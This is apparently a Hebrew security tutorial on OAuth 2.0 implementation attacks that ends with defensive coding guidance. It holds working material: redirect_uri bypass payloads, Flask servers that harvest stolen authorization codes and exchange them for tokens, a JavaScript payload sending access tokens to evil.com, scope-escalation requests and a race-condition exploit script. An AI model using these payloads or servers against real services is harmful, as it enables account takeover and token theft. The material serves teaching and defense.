לדלג לתוכן

תקיפת OAuth 2.0 - OAuth 2.0 Attacks

מבוא

פרוטוקול OAuth 2.0 הוא הסטנדרט הנפוץ ביותר להרשאה מאומתת (delegated authorization) באינטרנט. הוא מאפשר למשתמשים לתת לאפליקציות צד שלישי גישה למשאבים שלהם מבלי לחשוף את הסיסמה. למרות שהפרוטוקול עצמו תוכנן להיות מאובטח, הטמעות לקויות יוצרות חולשות קריטיות שמאפשרות גניבת טוקנים, השתלטות על חשבונות, והסלמת הרשאות.


סקירת זרימות OAuth 2.0

זרימת Authorization Code

הזרימה המאובטחת ביותר, מיועדת לאפליקציות צד-שרת:

1. User -> App: Click "Sign in with Google"
2. App -> Authorization Server: Redirect with client_id, redirect_uri, scope, state
3. User -> Authorization Server: Enter login credentials and approve
4. Authorization Server -> App: Redirect back with authorization code
5. App -> Authorization Server: Exchange code for access token (backend request)
6. App -> Resource Server: Access resources with access token

בקשת הרשאה:

GET /authorize?
    response_type=code&
    client_id=app123&
    redirect_uri=https://app.com/callback&
    scope=read+write&
    state=random_csrf_token
Host: oauth-server.com

החלפת code בטוקן:

POST /token HTTP/1.1
Host: oauth-server.com
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&
code=AUTH_CODE_HERE&
redirect_uri=https://app.com/callback&
client_id=app123&
client_secret=SECRET

זרימת Implicit

מיועדת לאפליקציות צד-לקוח (SPA), מחזירה טוקן ישירות ב-URL:

GET /authorize?
    response_type=token&
    client_id=app123&
    redirect_uri=https://app.com/callback&
    scope=read
Host: oauth-server.com

תגובה:

HTTP/1.1 302 Found
Location: https://app.com/callback#access_token=TOKEN&token_type=bearer&expires_in=3600

זרימת Client Credentials

לתקשורת בין שרתים (machine-to-machine):

POST /token HTTP/1.1
Host: oauth-server.com
Content-Type: application/x-www-form-urlencoded

grant_type=client_credentials&
client_id=app123&
client_secret=SECRET&
scope=admin

תקיפה 1: מניפולציית Redirect URI - Redirect URI Manipulation

הרקע

כאשר ה-redirect_uri לא מאומת כראוי, תוקף יכול להפנות את ה-authorization code או את הטוקן לשרת שלו.

דוגמאות לbypass בדיקת redirect_uri

# Original URI
redirect_uri=https://app.com/callback

# Bypass via subdomain
redirect_uri=https://evil.app.com/callback

# Bypass via path traversal
redirect_uri=https://app.com/callback/../evil

# Bypass via parameter pollution
redirect_uri=https://app.com/callback&redirect_uri=https://evil.com

# Bypass via URL encoding
redirect_uri=https://app.com%40evil.com/callback

# Bypass via open redirect in the app
redirect_uri=https://app.com/redirect?url=https://evil.com

# Bypass via fragment
redirect_uri=https://app.com/callback#@evil.com

# Bypass via localhost variants
redirect_uri=https://app.com/callback@evil.com
redirect_uri=https://evil.com#app.com/callback
redirect_uri=https://app.com/callback%23@evil.com

תרחיש תקיפה מלא

Step 1: The attacker creates a malicious link
https://oauth-server.com/authorize?
    response_type=code&
    client_id=legit_app&
    redirect_uri=https://evil.com/steal&
    scope=read+write&
    state=xyz

Step 2: The victim clicks the link and approves

Step 3: The authorization code is sent to the attacker
https://evil.com/steal?code=STOLEN_CODE&state=xyz

Step 4: The attacker exchanges the code for a token

קוד תקיפה

from flask import Flask, request
import requests

app = Flask(__name__)

OAUTH_TOKEN_URL = "https://oauth-server.com/token"
CLIENT_ID = "legit_app_id"
CLIENT_SECRET = "stolen_or_known_secret"

@app.route('/steal')
def steal_code():
    """Receive the stolen authorization code"""
    code = request.args.get('code')

    if code:
        # Exchange the code for a token
        resp = requests.post(OAUTH_TOKEN_URL, data={
            'grant_type': 'authorization_code',
            'code': code,
            'redirect_uri': 'https://evil.com/steal',
            'client_id': CLIENT_ID,
            'client_secret': CLIENT_SECRET
        })

        token_data = resp.json()
        access_token = token_data.get('access_token')

        print(f"[+] Stole token: {access_token}")

        # Use the token to access the victim's info
        user_info = requests.get(
            "https://oauth-server.com/userinfo",
            headers={"Authorization": f"Bearer {access_token}"}
        )
        print(f"[+] Victim info: {user_info.json()}")

    return "Thanks!", 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=443, ssl_context='adhoc')

תקיפה 2: יירוט Authorization Code - Code Interception via Referer

הרקע

כאשר עמוד ה-callback מכיל קישורים חיצוניים או טוען משאבים חיצוניים, ה-authorization code עלול לדלוף דרך ה-Referer header.

תרחיש

# The callback page contains an external image or link
GET /callback?code=SECRET_CODE HTTP/1.1
Host: app.com

# The response contains:
<html>
<img src="https://external-analytics.com/pixel.gif">
<a href="https://external-site.com">Click here</a>
</html>

# When the browser loads the image, the Referer is sent:
GET /pixel.gif HTTP/1.1
Host: external-analytics.com
Referer: https://app.com/callback?code=SECRET_CODE

הexploit

from flask import Flask, request

app = Flask(__name__)

@app.route('/pixel.gif')
def steal_via_referer():
    """Steal the code via Referer header"""
    referer = request.headers.get('Referer', '')

    if 'code=' in referer:
        # Extract the code from the Referer
        import urllib.parse
        parsed = urllib.parse.urlparse(referer)
        params = urllib.parse.parse_qs(parsed.query)
        code = params.get('code', [''])[0]

        print(f"[+] Code stolen from Referer: {code}")
        with open('stolen_codes.txt', 'a') as f:
            f.write(f"{code}\n")

    # Return an empty 1x1 image
    return b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00\x21\xf9\x04\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b', 200, {'Content-Type': 'image/gif'}

תקיפה 3: CSRF ב-OAuth - חוסר פרמטר State

הרקע

פרמטר state נועד למנוע CSRF בזרימת OAuth. כאשר הוא חסר או לא מאומת, תוקף יכול לקשר את חשבון הקורבן לחשבון OAuth של התוקף.

תרחיש תקיפה

Step 1: The attacker starts the OAuth flow and stops before the callback
    He receives his own authorization code

Step 2: The attacker sends the victim the callback link with his own code:
    https://app.com/callback?code=ATTACKER_CODE

Step 3: The victim clicks -> his account is linked to the attacker's OAuth account

Step 4: The attacker logs in with his OAuth account and gains access to the victim's account

בדיקת החולשה

# Original request - note the state parameter
GET /authorize?
    response_type=code&
    client_id=app123&
    redirect_uri=https://app.com/callback&
    scope=read&
    state=abc123
Host: oauth-server.com

# Test: does the app validate state?
# Try sending the callback without state or with a different state:
GET /callback?code=VALID_CODE HTTP/1.1
Host: app.com
# If it works without state -> vulnerable to CSRF

תקיפה 4: דליפת טוקן דרך Referer - Token Leakage

הרקע

בזרימת Implicit, הטוקן מועבר ב-URL fragment (#). למרות ש-fragments לא נשלחים בדרך כלל ב-Referer, JavaScript יכול לקרוא אותם ולהעביר אותם.

תרחיש

# The callback returns the token in the fragment
HTTP/1.1 302 Found
Location: https://app.com/callback#access_token=SECRET_TOKEN&token_type=bearer

# If the app moves the token into a URL parameter:
https://app.com/dashboard?token=SECRET_TOKEN

# Now the token will leak via the Referer to any external site

קוד JavaScript שגונב טוקן מ-fragment

// Malicious code that could be injected via XSS
if (window.location.hash) {
    var fragment = window.location.hash.substring(1);
    var params = new URLSearchParams(fragment);
    var token = params.get('access_token');

    if (token) {
        // Send the token to the attacker
        new Image().src = 'https://evil.com/steal?token=' + token;
    }
}

תקיפה 5: הbypass PKCE - PKCE Downgrade Attack

הרקע

PKCE (Proof Key for Code Exchange) נועד למנוע יירוט של authorization codes. אם השרת לא דורש PKCE באופן מחייב, ניתן לבצע downgrade.

זרימת PKCE תקינה

1. The client creates a code_verifier (random string)
2. The client computes code_challenge = SHA256(code_verifier)
3. The authorization request includes code_challenge
4. When exchanging the code for a token, the client sends code_verifier
5. The server verifies that SHA256(code_verifier) == code_challenge

תקיפת Downgrade

# Original request with PKCE
GET /authorize?
    response_type=code&
    client_id=app123&
    redirect_uri=https://app.com/callback&
    code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM&
    code_challenge_method=S256
Host: oauth-server.com

# Attack: send a request without PKCE
GET /authorize?
    response_type=code&
    client_id=app123&
    redirect_uri=https://app.com/callback
Host: oauth-server.com

# If the server accepts a request without PKCE -> vulnerable to downgrade

# In the exchange step, code_verifier isn't needed:
POST /token
grant_type=authorization_code&
code=STOLEN_CODE&
redirect_uri=https://app.com/callback&
client_id=app123

תקיפה 6: הexploit הרשאות - Scope Abuse and Privilege Escalation

הרקע

שרתים שלא מאמתים כראוי את ה-scope המבוקש עלולים לתת הרשאות מעבר למה שאושר.

תרחישי תקיפה

# Minimal scope request
GET /authorize?
    response_type=code&
    client_id=app123&
    redirect_uri=https://app.com/callback&
    scope=read
Host: oauth-server.com

# Attack 1: add an extra scope
GET /authorize?
    response_type=code&
    client_id=app123&
    redirect_uri=https://app.com/callback&
    scope=read+write+admin
Host: oauth-server.com

# Attack 2: change scope in the token request
POST /token
grant_type=authorization_code&
code=AUTH_CODE&
redirect_uri=https://app.com/callback&
client_id=app123&
client_secret=SECRET&
scope=admin

בדיקה עם Burp

# Intercept the authorize request and change the scope
# Check whether the server shows the user the real scope
# or only shows the app's original scope

# Also try a scope that doesn't exist - some servers ignore unknown scopes
scope=read+write+admin+superadmin+god_mode

תקיפה 7: הrace תהליכים בהחלפת טוקן - Race Conditions in Token Exchange

הרקע

Authorization codes הם חד-פעמיים. אך אם יש חלון זמן בין בדיקת התקינות לביטול, ניתן להשתמש באותו code פעמיים.

תקיפה

import threading
import requests

def race_condition_token_exchange(code, client_id, client_secret, redirect_uri):
    """Exploit a race condition when exchanging an authorization code"""

    results = []

    def exchange_code():
        resp = requests.post(
            "https://oauth-server.com/token",
            data={
                'grant_type': 'authorization_code',
                'code': code,
                'redirect_uri': redirect_uri,
                'client_id': client_id,
                'client_secret': client_secret
            }
        )
        results.append(resp.json())

    # Send multiple requests in parallel
    threads = []
    for _ in range(20):
        t = threading.Thread(target=exchange_code)
        threads.append(t)

    # Start simultaneously
    for t in threads:
        t.start()

    for t in threads:
        t.join()

    # Check results
    tokens = [r.get('access_token') for r in results if 'access_token' in r]
    print(f"[*] Got {len(tokens)} tokens from a single code")

    # If we got more than one token - vulnerability!
    if len(tokens) > 1:
        print("[+] Found a race condition!")
        for i, token in enumerate(tokens):
            print(f"  Token {i+1}: {token}")

    return tokens

תקיפה 8: הchaining Open Redirect לגניבת טוקנים

הרקע

גם כאשר ה-redirect_uri מאומת, אם קיים open redirect באפליקציה עצמה, ניתן לשרשר אותו לגניבת טוקנים.

תרחיש מלא

# Step 1: Find an open redirect in the app
GET /goto?url=https://evil.com HTTP/1.1
Host: app.com

HTTP/1.1 302 Found
Location: https://evil.com

# Step 2: Chain with OAuth
# The redirect_uri passes the check because it's on the same domain
GET /authorize?
    response_type=token&
    client_id=app123&
    redirect_uri=https://app.com/goto?url=https://evil.com&
    scope=read
Host: oauth-server.com

# Step 3: The flow
# 1. OAuth Server redirects to: https://app.com/goto?url=https://evil.com#access_token=TOKEN
# 2. The app redirects to: https://evil.com#access_token=TOKEN
# 3. The attacker gets the token!

שיטות למציאת Open Redirect

# Check common parameters
/redirect?url=https://evil.com
/goto?url=https://evil.com
/login?next=https://evil.com
/logout?redirect=https://evil.com
/oauth/callback?continue=https://evil.com

# Bypasses
/redirect?url=//evil.com
/redirect?url=https:evil.com
/redirect?url=\/\/evil.com
/redirect?url=https://app.com@evil.com
/redirect?url=https://app.com.evil.com

דוגמאות מהעולם האמיתי

חולשה ב-Facebook OAuth (2013)

נמצא שניתן לשנות את ה-redirect_uri ל-URL אחר באותו דומיין facebook.com. בשילוב עם open redirect בתוך Facebook, תוקפים גנבו access tokens של משתמשים.

חולשה ב-Slack OAuth (2017)

Slack לא אימת כראוי את ה-state parameter, מה שאפשר תקיפות CSRF שקישרו חשבונות Slack לחשבון OAuth של תוקף.

חולשה ב-Microsoft OAuth (2020)

נמצא שניתן להשתמש ב-redirect_uri עם subdomain שונה תחת *.microsoft.com, מה שבשילוב עם XSS ב-subdomain אחר אפשר גניבת טוקנים.


הגנות - Defenses

1. אימות redirect_uri מדויק

# Wrong - prefix check
def validate_redirect(uri):
    return uri.startswith("https://app.com")  # Allows app.com.evil.com

# Correct - exact match
ALLOWED_REDIRECTS = [
    "https://app.com/callback",
    "https://app.com/oauth/callback"
]

def validate_redirect(uri):
    return uri in ALLOWED_REDIRECTS

2. שימוש ב-PKCE

import hashlib
import base64
import secrets

def generate_pkce():
    """Create a PKCE code verifier and challenge"""
    code_verifier = secrets.token_urlsafe(64)

    code_challenge = base64.urlsafe_b64encode(
        hashlib.sha256(code_verifier.encode()).digest()
    ).rstrip(b'=').decode()

    return code_verifier, code_challenge

3. אימות state parameter

import secrets
from flask import session

def generate_state():
    state = secrets.token_urlsafe(32)
    session['oauth_state'] = state
    return state

def validate_state(received_state):
    expected = session.pop('oauth_state', None)
    if not expected or expected != received_state:
        raise ValueError("Invalid state parameter - possible CSRF")

4. שיטות הגנה נוספות

- Always use the Authorization Code flow (not Implicit)
- Enable PKCE for all clients
- Perform exact validation of redirect_uri (not a prefix match)
- Always validate the state parameter
- Use Referrer-Policy: no-referrer to prevent leakage
- Limit the scope to the minimum required
- Immediately revoke the authorization code after use
- Limit the token's lifetime

סיכום

תקיפות OAuth 2.0 מנצלות בעיקר הטמעות לקויות ולא חולשות בפרוטוקול עצמו. הנקודות הקריטיות:

  • אימות redirect_uri חייב להיות מדויק ולא מבוסס prefix
  • פרמטר state חובה לכל זרימת OAuth
  • יש להשתמש ב-PKCE תמיד
  • דליפות קוד וטוקן דרך Referer הן נפוצות ומסוכנות
  • בדקו תמיד open redirects באפליקציה - הם משמשים לchaining תקיפות OAuth